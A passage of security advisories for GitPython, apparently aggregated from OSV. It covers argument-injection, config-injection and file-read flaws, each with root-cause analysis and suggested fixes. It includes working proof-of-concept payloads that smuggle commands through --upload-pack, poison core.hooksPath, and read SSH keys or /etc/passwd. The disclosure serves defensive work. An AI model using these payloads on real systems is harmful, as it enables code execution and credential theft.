JOINED token `-nutouch <cmd>;git-upload-pack` (cmd.py:1631). git clusters value-less short flags then parses `-u<cmd>` = `--upload-pack=<cmd>` → command execution. The hardened guard WOULD block the joined token if it saw it — the flaw is it never receives it. ##### Impact Arbitrary OS command execution as the host process (via `--upload-pack`) at default `allow_unsafe_options=False`, affecting all guarded methods that forward kwargs. Precondition: the app forwards a user-controlled kwargs dict containing `split_single_char_options=False` plus a single-char key (same user-dict-forwarding model GHSA-r9mr-m37c-5fr3 accepts). ##### Proof of Concept ```python from git import Repo Repo.clone_from(src, dst, n="utouch /tmp/ACE;git-upload-pack", split_single_char_options=False) # /tmp/ACE created -> ACE ``` ##### Attack Chain 1. Entry: app forwards user kwargs to `Repo.clone_from(url, path, **kwargs)`: `{split_single_char_options: False, n: 'utouch /tmp/ACE;git-upload-pack'}`. 2. Check: `check_unsafe_options(_option_candidates([], kwargs), unsafe_git_clone_options)`. Guard: denylist includes `--upload-pack`/`-u`. Bypass proof: `_option_candidates` yields only `['-n']` (value token skipped because `split=False`); guard never sees `-u`. 3. Sink: `transform_kwarg` emits joined token (cmd.py:1631). argv (observed): `['git','clone','-v','-nutouch /tmp/ACE;git-upload-pack','--','<src>','<dst>']`. 4. Impact: git clusters `-n` + `-u<cmd>` → runs upload-pack command → ACE. ##### Bypass Evidence Independently reproduced (gate harness, default `allow_unsafe_options=False`): the `split=False` payload created the marker `VH05_GATE_ACE` (ACE); the clone returned normally (guard bypassed). Control: `n='--upload-pack=…'` (split default True) → `UnsafeOptionError: --upload-pack is not allowed`. Fix-commit read: `e8d0fbf7` extends candidates only under `if len(key)==1 and split_single_char_options:` — split=False skips value emission. Also confirmed the earlier clustering-parse fix (commit `56806080`) does not cover this because the guard only ever receives `['-n']`. ##### Affected Versions `GitPython <= 3.1.57` (code present verbatim on the latest release tag). ##### Suggested Fix Make `_option_candidates` emit value-derived candidates regardless of `split_single_char_options` (i.e. also for the joined `-n<value>` form), OR run `check_unsafe_options` over the fully-transformed argv rather than the reconstructed name-only candidate list. --- Reported by **zx (Jace)** — GitHub: @&#8203;manus-use #### Severity - CVSS Score: 8.8 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-wvpp-8hx9-p66j](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-wvpp-8hx9-p66j) - [https://nvd.nist.gov/vuln/detail/CVE-2026-76220](https://nvd.nist.gov/vuln/detail/CVE-2026-76220) - [https://github.com/gitpython-developers/GitPython/pull/2204](https://github.com/gitpython-developers/GitPython/pull/2204) - [https://github.com/gitpython-developers/GitPython/commit/96a888f4d782cb2f80452148e48e60ce4af6d541](https://github.com/gitpython-developers/GitPython/commit/96a888f4d782cb2f80452148e48e60ce4af6d541) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58) - [https://www.vulncheck.com/advisories/gitpython-before-command-execution-via-split-single-char-options](https://www.vulncheck.com/advisories/gitpython-before-command-execution-via-split-single-char-options) - [https://pypi.org/project/gitpython](https://pypi.org/project/gitpython) - [https://github.com/advisories/GHSA-wvpp-8hx9-p66j](https://github.com/advisories/GHSA-wvpp-8hx9-p66j) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-3843) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### GitPython: Dormant multi-line git-config values are corrupted into live injected directives (e.g. core.hooksPath) on any unrelated GitConfigParser write, enabling RCE [CVE-2026-78676](https://nvd.nist.gov/vuln/detail/CVE-2026-78676) / [GHSA-284h-m62q-gf8w](https://github.com/advisories/GHSA-284h-m62q-gf8w) / PYSEC-2026-3786 <details> <summary>More information</summary> #### Details - **CWE:** CWE-88 (Argument Injection) / CWE-94 (Code Injection) — via a read-then-corrupt-on-rewrite config round trip, not a direct setter argument - **Affected component:** `git/config.py` — `GitConfigParser._read()` (multi-line value decoding, lines 444-541, esp. `string_decode()` at line 460 and its call sites at 519/541) and `GitConfigParser._write()`/`write_section()` (serialization, lines ~694-712, esp. line 708) - **Affected version:** GitPython at HEAD (`9729ed3b948f2bde09f1f188c5311e172212b67e`, 2026-08-05, VERSION `3.1.58`) ##### Reachability GitPython added `UNSAFE_CONFIG_CHARS_RE` / `_value_to_string_safe()` / `_assure_config_name_safe()` guards (commits `c417af46`, `1ed1b924`, `a495ccd3`, and PR #&#8203;2176) to reject a Python string containing a raw `\r`/`\n`/NUL byte, or syntax-bearing characters, when it is passed as an **argument** to `set()`, `set_value()`, `add_value()`, or `add_section()`. This closed the four config-injection GHSAs above. That guard is applied only on the write-argument surface. It is never consulted for values that entered `GitConfigParser._sections` via `_read()` — i.e. values that came from parsing an on-disk config file. And `_read()` legitimately supports standard, spec-compliant git config syntax for multi-line values: a quoted value that is not closed on the same physical line continues onto the next physical line (git's own backslash-continuation syntax), and `string_decode()` (`.decode('unicode_escape')`) decodes a literal two-character `\n` **escape sequence** inside such a value into a real embedded LF character in the resulting Python string. No raw control byte is ever written to disk to achieve this — it's the same syntax real `git` itself uses and accepts. The bug is in what happens when that `GitConfigParser` is later **flushed**: `write_section()` (line ~694) calls the *unsafe* `self._value_to_string(v)` — not `_value_to_string_safe()` — and "handles" any embedded newline in the value with `.replace("\n", "\n\t")` (line 708), emitting a bare, unquoted `<real newline><tab>` in the output file with no re-quoting and no backslash-continuation marker. Real git does **not** treat an indentation-only continuation the way GitPython's writer assumes — a value only continues across physical lines when the *previous* line ends in a literal `\` immediately before the newline. So the moment `write_section()` re-serializes a previously-decoded multi-line value this way, the second half of that value becomes an **independent, new config line** the next time anyone (GitPython or real `git`) parses the file. If an attacker chooses the dormant value's content to be `<anything>\nhooksPath = <attacker path>`, that second line is parsed as a brand-new `core.hooksPath = <attacker path>` directive — live, real Git configuration, not a value. `core.hooksPath` is honored by essentially every hook-firing git operation (`commit`, `checkout`, `merge`, `push`, `rebase`, ...), giving arbitrary code execution the next time the host application performs any hook-triggering operation. ##### Root cause `GitConfigParser`'s injection guard is asymmetric: it hardens every *write-argument* entry point (the fix for the four sibling GHSAs) but never hardens the **read → corrupt-on-rewrite round trip**. A value that is 100% legitimate and inert as parsed from disk becomes a newly-injected directive purely through GitPython's own broken re-serialization logic (`write_section()` using the unsafe value-to-string path plus a continuation scheme real git doesn't recognize). The `c417af46` commit message even states its intent explicitly: *"This preserves existing read behavior for config files that already contain multiline values while preventing GitPython from writing new unsafe values"* — i.e. the maintainers consciously scoped the fix to the write-argument surface and did not address what happens when an already-resident multi-line value gets rewritten. ##### Exploit path 1. A `.git/config` (or any file merged into it via `[include]`, see below) already contains a dormant, syntactically-legitimate multi-line quoted value, e.g.: ``` [core] zzz = "A\nhooksPath = ../evil-hooks\ " ``` No raw `\r`, `\n`, or NUL byte appears on disk — this is standard git quoting + backslash-continuation. Real `git config --get core.hookspath` returns nothing at this point (inert); `git config --get core.zzz` returns the decoded string `A\nhooksPath = ../evil-hooks`, identically to GitPython's own reader. 2. The host application opens this repo with GitPython (`git.Repo(path)`, `read_only=False` implicitly for a normal `config_writer()` use) and performs **any** single, unrelated, legitimate config write on the same `GitConfigParser` instance — e.g. `repo.config_writer().set_value("user", "name", "Test User")`. This is one of the most ordinary operations a GitPython-based tool performs. 3. `GitConfigParser._write()`/`write_section()` re-serializes every resident value, including the dormant `zzz` entry, using the unsafe path. The file on disk now contains, verbatim: ``` [core] ... zzz = A hooksPath = ../evil-hooks ``` 4. Real `git config --get core.hookspath` now returns `../evil-hooks` — a key that did not exist before step 2, created purely by GitPython's own write. 5. The next hook-firing git operation (e.g. `git commit`) executes `../evil-hooks/pre-commit` (or whatever hook name the operation looks for), i.e. arbitrary attacker-chosen code execution. ##### Impact Arbitrary code execution, on par with (and more directly triggered than) the already-accepted, High-severity `GHSA-mv93-w799-cj2w`/`GHSA-v87r-6q3f-2j67` "Newline injection... enables RCE via core.hooksPath" advisories, and requiring **no unsafe caller argument at all** — only an attacker-influenced config file plus one ordinary, unrelated write. ##### Preconditions - A config file GitPython opens read-write already contains an attacker-chosen, syntactically-valid multi-line value shaped like `<anything>\n<injected-key> = <injected-value>`. Realistic delivery: 1. **Pre-existing `.git` directory shipped with a repository** — vendored/template repos, CI workspace/layer caches that preserve `.git`, "repo" tarball/zip distributions that include `.git/config`. The poisoned value sits directly in `.git/config`. 2. **The documented shared-config `[include]` pattern** (`[include] path = ../<repo-tracked-file>`, pointing at a file inside the working tree) — `GitConfigParser.read()` merges included files' sections into the same `_sections` dict used for writing, so a malicious public repository can ship the poisoned value inside a normal tracked file and have it activated the first time any GitPython-based tool performs any unrelated config write after clone (this requires the victim's own `.git/config` to already reference the include, e.g. via project setup tooling that adds `include.path`). 3. **Any host application that opens an attacker-influenced config file for read-write and later performs a legitimate write** — the exact trust-boundary the maintainers already accepted as realistic for `GHSA-v87r-6q3f-2j67` (their writeup cites MLRun's `project.push()`). - No authentication/role requirement inside GitPython itself. ##### Evidence - `git/config.py:460` (`string_decode`), invoked at `git/config.py:519` and `:541` inside `_read()`'s multi-line handling — decodes `unicode_escape`, turning a literal `\n` escape into a real embedded LF. - `git/config.py:~694-712` (`_write()`/`write_section()`) — uses `self._value_to_string(v)` (unsafe variant) and `.replace("\n", "\n\t")` with no re-quoting. - `c417af46` (the CR/LF/NUL guard commit) touches only the setter path and explicitly states it preserves existing *read* behavior for multi-line values, per its own commit message. - `git log -S"string_decode"`, `-S"write_section"`, `-S'replace("\n", "\n\t")'` on `git/config.py` show these code paths have only ever been touched by non-security formatting/refactor commits (`a5fc1d86`, `b825dc74`, `cb68eef0`, `21ec5299`), never by a security fix. - PoC (`gitpython-002-poc.py`, embedded below) reproduces the full chain end-to-end against this exact checkout: dormant value → one unrelated `config_writer()` write → `core.hookspath` becomes live per real `git config --get` → a subsequent `git commit` executes the injected hook and writes a benign marker file. ##### False-positive check (adversarial re-read) - **Is this just a repeat of the four already-fixed config-injection GHSAs?** No — all four require the *caller* to pass a Python string containing a raw control character or forbidden syntax character as an argument to a setter; all four are now blocked by `UNSAFE_CONFIG_CHARS_RE`/`VALID_CONFIG_OPTION_NAME_RE`/the section quote-state-machine. This finding requires no such caller argument: the payload is smuggled entirely inside a config *file* using standard, valid git escaping that the guard never inspects, and only becomes dangerous through GitPython's own unguarded re-serialization of a value it already holds. Confirmed via `_known-advisories.json` (26 entries, none withdrawn) — none describe this read→corrupt-on-rewrite mechanism. - **Does real git actually round-trip this value safely (i.e. is this a GitPython-only bug, not a "normal" file)?** Yes, confirmed empirically: after the same crafted `.git/config` is rewritten by *real* `git config user.name Test2` (a control test), the multi-line `zzz` entry is preserved byte-for-byte in its original quoted/continuation form — only GitPython's writer corrupts it. - **Is there a guard elsewhere that would catch the resulting bare `hooksPath = ...` line before it's trusted?** No — once on disk, it is indistinguishable from a directive the user set intentionally; `core.hooksPath` is honored unconditionally by git's hook-invocation machinery. - **Does this require an unrealistic precondition?** The precondition (a config file with attacker-influenced content, later legitimately rewritten) mirrors the exact threat model the maintainers already treated as realistic and fixed for `GHSA-v87r-6q3f-2j67`. - Verdict: no concrete blocker found. **CONFIRMED** — reproduced independently end-to-end (dormant value in place → benign unrelated `config_writer()` write → `core.hookspath` live per real git → hook fires on `git commit`, marker file written). ##### Remediation Either (a) make `write_section()`/`_write()` use `_value_to_string_safe()` (or equivalent re-quoting) for **every** resident value, including those that originated from `_read()`, so an embedded newline is always re-emitted as a properly quoted+backslash-continued value rather than a bare new line, or (b) reject/neutralize embedded control characters in values at read time before they can reach `_sections` at all if the parser is opened in `read_only=False` mode, or (c) canonicalize output using git's own `git config --file <path> --replace-all` semantics instead of a hand-rolled writer. Option (a) is the most surgical fix and matches the spirit of `_value_to_string_safe()` already used on the setter path. ##### Confidence High. Root cause independently re-derived and confirmed by direct code reading; full exploit chain (dormant value → benign unrelated write → live `core.hookspath` → hook execution with a benign marker) reproduced twice, independently, against the current HEAD. ##### Proof-of-Concept source (`gitpython-002-poc.py`) ```python #!/usr/bin/env python3 """ GITPYTHON-002 PoC: a dormant, legitimately-encoded multi-line git-config value (standard quoted + backslash-continuation syntax, containing an escaped "\\n" that decodes to a real embedded newline in memory) is corrupted into a NEW, live config key the moment GitConfigParser re-serializes it during any unrelated write. If the smuggled second "line" looks like "hooksPath = <attacker path>", it becomes a real, active core.hooksPath after one unrelated GitPython config write, and fires attacker code on the next hook-triggering git operation (e.g. `git commit`). This is CWE-88/CWE-94 style argument/config injection, but via the READ path (a config file GitPython parses and later rewrites), not via a Python kwarg argument -- distinct from the already-fixed GHSA-mv93-w799-cj2w / GHSA-v87r-6q3f-2j67 / GHSA-3rp5-jjmw-4wv2 / GHSA-jm78-9fvv-mhgr, which all guard the setter-argument surface only. Run: PYTHONPATH="<repo>:<repo>/gitdb:<repo>/smmap" python3 gitpython-002-poc.py <workdir> Benign: only writes/reads inside <workdir>. The "malicious" hook just writes a marker file; no destructive/exfiltrating payload. Exits non-zero and prints "NOT VULNERABLE" if the corruption / hook does not fire. """ import os import subprocess import sys def main(): workdir = sys.argv[1] if len(sys.argv) > 1 else "/tmp/gitpython-002-poc" repo_dir = os.path.join(workdir, "repo") hooks_dir = os.path.join(workdir, "evil-hooks") marker = os.path.join(workdir, "PWNED_MARKER.txt") for p in (repo_dir, hooks_dir): os.makedirs(p, exist_ok=True) if os.path.exists(marker): os.remove(marker) subprocess.run(["git", "init", "-q", "-b", "main", repo_dir], check=True) subprocess.run(["git", "-C", repo_dir, "config", "user.email", "test@example.com"], check=True) subprocess.run(["git", "-C", repo_dir, "config", "user.name", "Test"], check=True) # Rewrite .git/config with a dormant, 100%-valid multi-line quoted value # inside [core] (before any other section). No raw CR/LF/NUL byte is # written to disk here -- this is standard git config quoting + # backslash-line-continuation, decoded by both real git and GitConfigParser # into the Python string 'A\nhooksPath = ../evil-hooks'. cfg_path = os.path.join(repo_dir, ".git", "config") with open(cfg_path) as f: original = f.read() poisoned_entry = '\tzzz = "A\\nhooksPath = ../evil-hooks\\\n"\n' # Insert right after the [core] header line so it lives in the same section. new_config = original.replace("[core]\n", "[core]\n" + poisoned_entry, 1) with open(cfg_path, "w") as f: f.write(new_config) # Confirm it's inert per real git before touching GitPython. pre = subprocess.run( ["git", "-C", repo_dir, "config", "--get", "core.hookspath"], capture_output=True, text=True, ) if pre.returncode == 0: print("SETUP ERROR: core.hookspath already set before GitPython touched anything") sys.exit(2) # Malicious hook: benign marker only. hook_path = os.path.join(hooks_dir, "pre-commit") with open(hook_path, "w") as f: f.write('#!/bin/sh\necho "PWNED-VIA-GITPYTHON-CONFIG-INJECTION" > "%s"\nexit 0\n' % marker) os.chmod(hook_path, 0o755) import git # gitpython under test repo = git.Repo(repo_dir) before = repo.config_reader().get_value("core", "zzz") print("core.zzz before any GitPython write =", repr(before)) # ONE totally unrelated, benign write -- this is the only "attacker-adjacent" # action required, and it is something virtually every GitPython consumer # does routinely (setting an option, adding a remote, updating a branch's # tracking config, ...). with repo.config_writer() as cw: cw.set_value("user", "name", "Test User") post = subprocess.run( ["git", "-C", repo_dir, "config", "--get", "core.hookspath"], capture_output=True, text=True, ) if post.returncode != 0: print("NOT VULNERABLE: core.hookspath still absent after the unrelated write") sys.exit(1) injected_path = post.stdout.strip() print("core.hookspath is now LIVE after one unrelated write:", injected_path) # Trigger the hook with a normal commit to prove it fires. with open(os.path.join(repo_dir, "file2.txt"), "w") as f: f.write("change\n") subprocess.run(["git", "-C", repo_dir, "add", "file2.txt"], check=True) subprocess.run( ["git", "-C", repo_dir, "-c", "user.email=t@example.com", "-c", "user.name=T", "commit", "-q", "-m", "trigger hook"], check=True, ) if os.path.isfile(marker): with open(marker) as f: content = f.read().strip() print("VULNERABLE: hook fired, marker content =", content) sys.exit(0) else: print("NOT VULNERABLE: hook did not fire") sys.exit(1) if __name__ == "__main__": main() ``` #### Severity - CVSS Score: 9.3 / 10 (Critical) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-284h-m62q-gf8w](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-284h-m62q-gf8w) - [https://nvd.nist.gov/vuln/detail/CVE-2026-78676](https://nvd.nist.gov/vuln/detail/CVE-2026-78676) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3786.yaml](https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3786.yaml) - [https://www.vulncheck.com/advisories/gitpython-before-remote-code-execution-via-config-injection](https://www.vulncheck.com/advisories/gitpython-before-remote-code-execution-via-config-injection) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-284h-m62q-gf8w) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### GitPython: TagReference.create positional reference bypasses kwargs-only --file guard, enabling arbitrary file read (incomplete fix of 3af0c251) [CVE-2026-78679](https://nvd.nist.gov/vuln/detail/CVE-2026-78679) / [GHSA-3wxw-xv34-2frg](https://github.com/advisories/GHSA-3wxw-xv34-2frg) / PYSEC-2026-3837 <details> <summary>More information</summary> #### Details ##### Summary `TagReference.create()` forwards a caller-influenced positional `reference` value into `git tag` without it ever being inspected by the unsafe-option guard, allowing an arbitrary file read (the file's contents are returned in-band as the annotated tag message). This is an incomplete-fix bypass of commit `3af0c251` (the fix for GHSA-3f7w-8rr8-f37f's tag instance). ##### Root Cause The fix `3af0c251` added `unsafe_git_tag_options = ["--file","-F"]` and a guard call, but the guard is `Git.check_unsafe_options(options=Git._option_candidates([], kwargs), unsafe_options=...)` at `git/refs/tag.py:139` — it passes an EMPTY args list and inspects **kwargs only**. The dangerous values `path` and `reference` are POSITIONALS (`args = (path, reference)`, tag.py:156), placed before any `--`. A user-influenced `reference="--file=<path>"` therefore reaches `git tag` as the exact `--file` option the fix intended to block, creating an annotated tag whose message is the file's contents. ##### Impact Arbitrary local file read at the privileges of the host process; contents returned in-band via `tagref.tag.message`. Requires the embedding application to forward a caller-influenced `reference` value into `TagReference.create()` (pure VALUE control — the CVE-2026-42215 threat model). Default `allow_unsafe_options=False`. ##### Proof of Concept ```python from git import TagReference t = TagReference.create(repo, "vpwn", reference="--file=/home/app/.ssh/id_rsa") print(t.tag.message) # contents of the file ``` ##### Attack Chain 1. Entry: app calls `TagReference.create(repo, name, reference=<user>)` with `reference="--file=/home/app/.ssh/id_rsa"`. 2. Check: `Git.check_unsafe_options(_option_candidates([], kwargs), ["--file","-F"])` @&#8203; tag.py:137-141. Guard: denylist includes `--file`/`-F`. Bypass proof: `_option_candidates` receives `args=[]` → the positional `reference` is never a candidate (the kwarg spelling `file="…"` IS blocked; only the positional escapes). 3. Sink: `repo.git.tag(*args, **kwargs)` @&#8203; tag.py:158 → no `--`. argv (observed): `['git','tag','-f','vpwn','--file=<secret>']`. 4. Impact: annotated tag created; `tagref.tag.message` == file contents (arbitrary file read). ##### Bypass Evidence Independently reproduced (independent test harness, git 2.43.0, default `allow_unsafe_options=False`): `TagReference.create(repo,'vp','--file=<secret>')` → PASSED; `tag.message == 'GATE_SECRET_LINE_A\nGATE_SECRET_LINE_B'`. Control: `TagReference.create(..., file='<secret>')` → `UnsafeOptionError: --file is not allowed`. Fix-commit read: `3af0c251` adds `_option_candidates([], kwargs)` (empty args → positional never a candidate). ##### Affected Versions `GitPython <= 3.1.58` (sink present verbatim on the latest release tag; `git diff 3.1.57..HEAD` touches only test files). ##### Suggested Fix Include the positional `reference` (and `path`) in the option-candidate list passed to `check_unsafe_options`, or place a `--` separator before the positional arguments in `TagReference.create()`. --- Reported by **zx (Jace)** — GitHub: @&#8203;manus-use #### Severity - CVSS Score: 6.5 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-3wxw-xv34-2frg](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-3wxw-xv34-2frg) - [https://nvd.nist.gov/vuln/detail/CVE-2026-78679](https://nvd.nist.gov/vuln/detail/CVE-2026-78679) - [https://github.com/gitpython-developers/GitPython/pull/2208](https://github.com/gitpython-developers/GitPython/pull/2208) - [https://github.com/gitpython-developers/GitPython/commit/1b0d2d9b91575f7db44ef4ff58ac37fc9335e5f6](https://github.com/gitpython-developers/GitPython/commit/1b0d2d9b91575f7db44ef4ff58ac37fc9335e5f6) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.59](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.59) - [https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-read-via-tagreference-create](https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-read-via-tagreference-create) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-3wxw-xv34-2frg) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### GitPython: Incomplete unsafe_git_revision_options denylist omits --contents/-S, enabling arbitrary file read via Repo.blame() [CVE-2026-78678](https://nvd.nist.gov/vuln/detail/CVE-2026-78678) / [GHSA-5xxx-qhh7-9287](https://github.com/advisories/GHSA-5xxx-qhh7-9287) / PYSEC-2026-3788 <details> <summary>More information</summary> #### Details ##### Summary `Repo.blame()` / `Repo.blame_incremental()` guard forwarded revision options against `unsafe_git_revision_options`, but that denylist only contains the file-WRITE options `--output`/`-o`. `git blame` also honors `--contents <file>` and `-S <file>`, which cause the file's lines to be echoed into the blame result — an arbitrary file READ. Neither option is in the denylist, so a caller-influenced revision value of `--contents=<path>` passes the guard and leaks file contents. This is a distinct sink-option and impact class (READ) from GHSA-956x-8gvw-wg5v (which addressed the blame `--output` WRITE), directly analogous to GHSA-539m-9xh6-q6rr (archive READ gap accepted separately from the archive write/exec advisory). ##### Root Cause `unsafe_git_revision_options = ["--output","-o"]` (`git/repo/base.py:188`). The `rev` string is passed to `_option_candidates([rev], kwargs)` and placed BEFORE the `--` separator (base.py:841). The canonical name of `--contents=...` is `contents`, which is not on the denylist, so no `UnsafeOptionError` is raised. The trailing `--` protects only the pathspec, not the option before the revision. ##### Impact Arbitrary local file read at the privileges of the host process; the file's line contents appear in the blame result returned to the caller. Pure VALUE control (the caller forwards a user-influenced revision string). Default `allow_unsafe_options=False`. ##### Proof of Concept ```python result = repo.blame("--contents=/etc/passwd", "a.txt") ##### result rows carry the victim file's line text ``` ##### Attack Chain 1. Entry: app calls `repo.blame(rev, file)` with attacker `rev="--contents=/etc/passwd"` (or kwarg `contents="/etc/passwd"`, or `-S`). 2. Check: `Git.check_unsafe_options(_option_candidates([rev,...], kwargs), unsafe_git_revision_options)` @&#8203; base.py:841. Guard: denylist = `["--output","-o"]` only. Bypass proof: canonical name `contents` ∉ denylist → no error. 3. Sink: `self.git.blame(rev, "--", file, p=True, ...)`. argv (observed): `['git','blame','-p','--contents=<secret>','HEAD','--','a.txt']`. 4. Impact: blame result rows carry the victim file's line text. ##### Bypass Evidence Independently reproduced (independent test harness, default `allow_unsafe_options=False`): `blame('--contents=<secret>','a.txt')` → guard PASSED; result rows = `['GATE_SECRET_LINE_A','GATE_SECRET_LINE_B']`. Control: `blame('--output=…')` still BLOCKED (guard active on this path). `-S` kwarg argv also reaches git unguarded. ##### Affected Versions `GitPython <= 3.1.58` (denylist present verbatim on the latest release tag). ##### Suggested Fix Prefer an allowlist of blame options; at minimum add `--contents`/`-S` (and any other path-taking blame options) to `unsafe_git_revision_options`, and make the membership rule "the option takes a filesystem path" rather than "the option writes output". --- Reported by **zx (Jace)** — GitHub: @&#8203;manus-use #### Severity - CVSS Score: 6.5 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-5xxx-qhh7-9287](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-5xxx-qhh7-9287) - [https://nvd.nist.gov/vuln/detail/CVE-2026-78678](https://nvd.nist.gov/vuln/detail/CVE-2026-78678) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3788.yaml](https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3788.yaml) - [https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-read-via-repo-blame](https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-read-via-repo-blame) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-5xxx-qhh7-9287) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### GitPython: Arbitrary local file content disclosure via [include] directive in untrusted .gitmodules (SubmoduleConfigParser never disables merge_includes) [CVE-2026-78675](https://nvd.nist.gov/vuln/detail/CVE-2026-78675) / [GHSA-7833-fr7j-v32q](https://github.com/advisories/GHSA-7833-fr7j-v32q) / PYSEC-2026-3785 <details> <summary>More information</summary> #### Details ##### [HIGH] Arbitrary local file content disclosure via `[include]` directive in untrusted `.gitmodules` (`SubmoduleConfigParser` never disables `merge_includes`) - **CWE:** CWE-200 (Exposure of Sensitive Information) / CWE-73 (External Control of File Name or Path) - **Affected component:** `git/objects/submodule/base.py`, `Submodule._config_parser()` (~line 273) constructing `SubmoduleConfigParser(fp_module, read_only=read_only)`; `git/config.py`, `GitConfigParser.__init__` (`merge_includes` default), `GitConfigParser.read()`/`_included_paths()` (include-path resolution, ~lines 630-685), `GitConfigParser._read()` (~line 493-498, `MissingSectionHeaderError`) - **Affected version:** GitPython at HEAD (`9729ed3b948f2bde09f1f188c5311e172212b67e`, 2026-08-05, VERSION `3.1.58`) ##### Reachability `GitConfigParser.__init__` defaults `merge_includes=True`: any config file it parses has its `[include]` (and, when a `repo=` is supplied, `[includeIf ...]`) directives followed and merged in. The maintainers already recognized this as dangerous for one specific case and fixed it in commit `41ecc6a4` ("Disable merge_includes in config writers"), which passes `merge_includes=False` when `Repo.config_writer()` builds its parser (`git/repo/base.py`). That fix never touched `Submodule._config_parser()`. This method builds the parser used for **every** read of a repo's submodule configuration — `repo.submodules`, `Submodule.iter_items()`, `Submodule.config()` — via `SubmoduleConfigParser(fp_module, read_only=read_only)`, passing neither `merge_includes=False` nor `repo=`. The `True` class default is therefore inherited unchanged, and `fp_module` here is `.gitmodules` — **the single most attacker-controlled config file in the entire codebase**, since it ships verbatim as tracked content inside any cloned repository. `GitConfigParser.read()`'s include-path resolution (~line 662-680) performs no containment check: `osp.isabs(include_path)` short-circuits the path join entirely for an absolute path, and a relative path is joined with `osp.join(osp.dirname(file_path), include_path)` / `osp.normpath()`'d with no check that the result stays under the repository. `~` is expanded via `osp.expanduser`. The only gate before opening is `os.access(include_path, os.R_OK)` — a readability check, not a path restriction. Once opened, `GitConfigParser._read()` parses the target file as git-config INI. If the first non-blank/non-comment line is not a `[section]` header — true of virtually any non-gitconfig file (source code, `/etc/passwd`, `.env` files, credential files, logs, JSON/YAML) — it raises `configparser.MissingSectionHeaderError(fpname, lineno, line)`. Python's stdlib formats this exception's `str()` as `"File contains no section headers.\nfile: %r, line: %d\n%r" % (fpname, lineno, line)` — it embeds the **verbatim content** of that file's first line in the exception message. `Submodule.iter_items()` catches only `(IOError, BadName)`, not `configparser.Error`, so this exception propagates straight out of the ordinary, read-only `repo.submodules` call. ##### Root cause Parity gap between two config-parser construction sites for the exact same footgun: `Repo.config_writer()` was hardened against `merge_includes` in 2023 (`41ecc6a4`); `Submodule._config_parser()` — which parses `.gitmodules`, content that is *always* attacker-controlled the moment a repository is cloned from an untrusted source — was never given the same treatment. (The submodule *write*-mode config parser at `git/objects/submodule/base.py` for `.git/modules/<name>/config` — a different, locally-generated file — has correctly passed `merge_includes=False` since 2022, underscoring that the omission for `.gitmodules` reads looks like an oversight rather than a considered exception.) ##### Exploit path 1. Attacker crafts a repository whose `.gitmodules` contains a legitimate-looking `[submodule ...]` section plus: ``` [include] path = /etc/passwd ``` (an absolute path bypasses any traversal reasoning entirely; a relative `../../../../etc/passwd`-style path works too). 2. Victim performs the extremely common, entirely read-only operation of enumerating a cloned repo's submodules: `list(repo.submodules)` (or any `for sm in repo.submodules`) — no `update()`, `init()`, or checkout of any kind required. 3. `SubmoduleConfigParser` (inheriting `merge_includes=True`) follows the `[include]` directive, opens `/etc/passwd`, and `GitConfigParser._read()` raises `MissingSectionHeaderError` whose message embeds `/etc/passwd`'s first line verbatim. 4. This exception surfaces wherever the host application observes exceptions from GitPython — CI logs, error pages, exception trackers, or any dependency-scanner/code-review-bot/hosting-platform tool built on `repo.submodules` — disclosing the targeted file's first line to the attacker (directly, or indirectly via any channel that echoes the error). ##### Impact Non-blind local file content disclosure (first line) of any file readable by the victim process, triggered purely by attacker-controlled repository content and one routine, read-only GitPython call. Bounded to one line per triggering file (parsing aborts at the first `MissingSectionHeaderError`), but that line very often *is* the secret — `.env` files (`DATABASE_URL=...`, `API_KEY=...`), single-line credential/token files, `/etc/passwd`'s root entry for host fingerprinting. The primitive additionally serves as a generic error-based file-existence oracle for arbitrary host paths. This is materially stronger than the 